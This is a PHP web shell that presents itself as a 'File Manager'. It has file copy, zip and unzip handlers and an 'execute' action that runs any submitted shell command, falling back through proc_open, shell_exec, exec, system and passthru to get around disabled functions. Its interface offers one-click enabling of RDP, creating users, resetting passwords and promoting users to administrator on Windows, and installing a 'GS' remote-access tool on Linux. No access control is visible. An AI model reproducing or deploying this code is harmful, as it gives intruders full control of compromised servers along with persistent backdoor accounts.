$destination = $_POST['destination'] ?? '';
if (empty($sources)) {
echo json_encode(['error' => 'No sources specified']);
exit;
}
$destPath = getFMAbsolutePath($destination, $isWindows);
if (!$destPath || !is_dir($destPath)) {
echo json_encode(['error' => 'Destination is not a valid directory']);
exit;
}
$results = [
'success' => 0,
'failed' => 0,
'errors' => []
];
foreach ($sources as $source) {
$srcPath = getFMAbsolutePath($source, $isWindows);
if (!$srcPath) {
$results['failed']++;
$results['errors'][] = "Invalid source: $source";
continue;
}
$baseName = basename($srcPath);
$destFullPath = $destPath . ($isWindows ? '\\' : '/') . $baseName;
// Handle conflict - add number if exists
$counter = 1;
$originalDest = $destFullPath;
while (file_exists($destFullPath)) {
$info = pathinfo($originalDest);
$newName = $info['filename'] . '_copy' . $counter . (isset($info['extension']) ? '.' . $info['extension'] : '');
$destFullPath = $destPath . ($isWindows ? '\\' : '/') . $newName;
$counter++;
}
if (is_file($srcPath)) {
if (@copy($srcPath, $destFullPath)) {
$results['success']++;
} else {
$results['failed']++;
$results['errors'][] = "Failed to copy file: $baseName";
}
} elseif (is_dir($srcPath)) {
if (copyDirectory($srcPath, $destFullPath, $isWindows)) {
$results['success']++;
} else {
$results['failed']++;
$results['errors'][] = "Failed to copy folder: $baseName";
}
}
}
echo json_encode([
'success' => $results['success'] > 0,
'results' => $results,
'message' => "Copied {$results['success']} item(s)" .
($results['failed'] > 0 ? ", {$results['failed']} failed" : "")
]);
break;
// ZIP
case 'zip':
$targets = isset($_POST['targets']) ? json_decode($_POST['targets'], true) : [];
$dir = $_POST['dir'] ?? '';
$name = $_POST['name'] ?? 'archive.zip';
$path = getFMAbsolutePath($dir, $isWindows);
if (!$path || !is_dir($path)) {
echo json_encode(['error' => 'Invalid directory']);
exit;
}
if (!class_exists('ZipArchive')) {
echo json_encode(['error' => 'ZipArchive not available']);
exit;
}
$zipPath = $path . ($isWindows ? '\\' : '/') . $name;
$zip = new ZipArchive();
if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) {
echo json_encode(['error' => 'Cannot create zip']);
exit;
}
foreach ($targets as $target) {
$absPath = getFMAbsolutePath($target, $isWindows);
if (!$absPath) continue;
if (is_file($absPath)) {
$zip->addFile($absPath, basename($absPath));
} elseif (is_dir($absPath)) {
$zip->addEmptyDir(basename($absPath));
addFolderToZip($absPath, $zip, basename($absPath) . '/');
}
}
$zip->close();
echo json_encode(['success' => true, 'archive' => $name]);
break;
// UNZIP
case 'unzip':
$file = $_POST['file'] ?? '';
$dir = $_POST['dir'] ?? '';
$zipPath = getFMAbsolutePath($file, $isWindows);
$destPath = getFMAbsolutePath($dir, $isWindows);
if (!$zipPath || !is_file($zipPath) || !$destPath || !is_dir($destPath)) {
echo json_encode(['error' => 'Invalid paths']);
exit;
}
if (!class_exists('ZipArchive')) {
echo json_encode(['error' => 'ZipArchive not available']);
exit;
}
$zip = new ZipArchive();
if ($zip->open($zipPath) !== true) {
echo json_encode(['error' => 'Cannot open archive']);
exit;
}
if ($zip->extractTo($destPath)) {
$zip->close();
echo json_encode(['success' => true]);
} else {
$zip->close();
echo json_encode(['error' => 'Extract failed']);
}
break;
// EXECUTE COMMAND - MENGGUNAKAN SESSION TERMINAL YANG TERPISAH
case 'execute':
$command = $_POST['command'] ?? '';
// Gunakan directory terminal yang terpisah
$path = $_POST['dir'] ?? $_SESSION['terminal_current_dir'] ?? __DIR__;
$_SESSION['terminal_current_dir'] = $path;
if ($isWindows) {
$path = normalizePath($path, $isWindows);
}
// Pastikan directory valid
if (!$path || !is_dir($path)) {
$path = __DIR__;
if ($isWindows) {
$path = normalizePath($path, $isWindows);
}
$_SESSION['terminal_current_dir'] = $path;
}
$output = '';
$method = 'none';
$return_var = 0;
$changed_dir = false;
// Clean command
$command = trim($command);
if ($isWindows) {
$result = executeWindowsCommand($command, $path);
if (isset($result['changed']) && $result['changed']) {
$_SESSION['terminal_current_dir'] = $result['dir'];
setcookie('terminal_current_dir', $result['dir'], time() + (86400 * 30), "/");
$path = $result['dir'];
}
$output = $result['output'];
$return_var = $result['return_var'] ?? 0;
$method = 'windows_cmd';
} else {
// Handle cd command untuk Linux
if (preg_match('/^\s*cd\s+(.+)$/', $command, $matches)) {
$new_dir = trim($matches[1], " \t\n\r\0\x0B\"'");
if ($new_dir === '~' || $new_dir === '~/' || $new_dir === '$HOME') {
$new_dir = getenv('HOME') ?: '/';
} elseif ($new_dir === '-') {
$output = "cd: OLDPWD not set\n";
$changed_dir = false;
} else {
if ($new_dir[0] !== '/') {
$new_dir = $path . '/' . $new_dir;
}
$new_dir = realpath($new_dir);
if ($new_dir && is_dir($new_dir) && is_readable($new_dir)) {
$_SESSION['terminal_current_dir'] = $new_dir;
setcookie('terminal_current_dir', $new_dir, time() + (86400 * 30), "/");
$path = $new_dir;
$changed_dir = true;
$output = "";
} else {
$output = "cd: {$matches[1]}: No such file or directory\n";
}
}
echo json_encode([
'success' => true,
'output' => $output,
'method' => 'cd',
'dir' => $path,
'return_var' => $changed_dir ? 0 : 1,
'changed_dir' => $changed_dir
]);
exit;
}
if (empty($command)) {
$command = 'pwd';
}
$old_cwd = getcwd();
@chdir($path);
if (function_exists('proc_open') && !in_array('proc_open', explode(',', ini_get('disable_functions')))) {
$descriptorspec = [
0 => ['pipe', 'r'], // stdin
1 => ['pipe', 'w'], // stdout
2 => ['pipe', 'w'] // stderr
];
$process = @proc_open($command, $descriptorspec, $pipes);
if (is_resource($process)) {
fclose($pipes[0]);
$output = stream_get_contents($pipes[1]);
$errors = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
if (!empty($errors)) {
$output .= $errors;
}
if (!empty($output)) $method = 'proc_open';
}
}
if (empty($output) && function_exists('shell_exec') && !in_array('shell_exec', explode(',', ini_get('disable_functions')))) {
$output = @shell_exec($command . ' 2>&1');
$method = 'shell_exec';
}
if (empty($output) && function_exists('exec')) {
$outputArray = [];
@exec($command . ' 2>&1', $outputArray, $return_var);
$output = implode("\n", $outputArray);
if (!empty($output)) $method = 'exec';
}
if (empty($output) && function_exists('system')) {
ob_start();
@system($command . ' 2>&1', $return_var);
$output = ob_get_clean();
if (!empty($output)) $method = 'system';
}
if (empty($output) && function_exists('passthru')) {
ob_start();
@passthru($command . ' 2>&1', $return_var);
$output = ob_get_clean();
if (!empty($output)) $method = 'passthru';
}
}
echo json_encode([
'success' => true,
'output' => $output,
'method' => $method,
'dir' => $path,
'return_var' => $return_var
]);
break;
// GET FILE INFO FOR EDITING
case 'getinfo':
$target = $_GET['path'] ?? '';
$path = getFMAbsolutePath($target, $isWindows);
if (!$path || !file_exists($path)) {
echo json_encode(['error' => 'File not found']);
exit;
}
echo json_encode([
'success' => true,
'name' => basename($path),
'path' => $path,
'type' => is_dir($path) ? 'dir' : 'file',
'size' => filesize($path),
'size_fmt' => formatSize(filesize($path)),
'modified' => filemtime($path),
'permissions' => $isWindows ? 'rwx' : substr(sprintf('%o', fileperms($path)), -4),
'owner' => function_exists('posix_getpwuid') ? @posix_getpwuid(fileowner($path))['name'] : ($isWindows ? 'Windows' : ''),
'group' => function_exists('posix_getgrgid') ? @posix_getgrgid(filegroup($path))['name'] : ($isWindows ? 'Users' : '')
]);
break;
default:
echo json_encode(['error' => 'Unknown action']);
}
exit;
}
// Helper function untuk copy directory recursively
function copyDirectory($source, $destination, $isWindows) {
if (!is_dir($source)) {
return false;
}
if (!is_dir($destination)) {
if (!@mkdir($destination, 0755, true)) {
return false;
}
}
$items = @scandir($source);
if ($items === false) {
return false;
}
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
$srcPath = $source . ($isWindows ? '\\' : '/') . $item;
$dstPath = $destination . ($isWindows ? '\\' : '/') . $item;
if (is_dir($srcPath)) {
if (!copyDirectory($srcPath, $dstPath, $isWindows)) {
return false;
}
} else {
if (!@copy($srcPath, $dstPath)) {
return false;
}
@chmod($dstPath, 0644);
}
}
return true;
}
?>
⚡ File Manager
DEMO MODE
Windows Administrative Tools
🔓 Aktifkan RDP
🔒 Nonaktifkan RDP
ℹ️ Cek Status RDP
🔌 Cek Port RDP
👤 Buat User Baru
🔐 Reset Password User
👑 Jadikan User Sebagai Admin
📋 List Semua User
📋 User yang Bisa RDP
📋 User Administrator
Linux Administrative Tools
📦 Install GS
🗑️ Uninstall GS
0 selected
Terminal
Testing...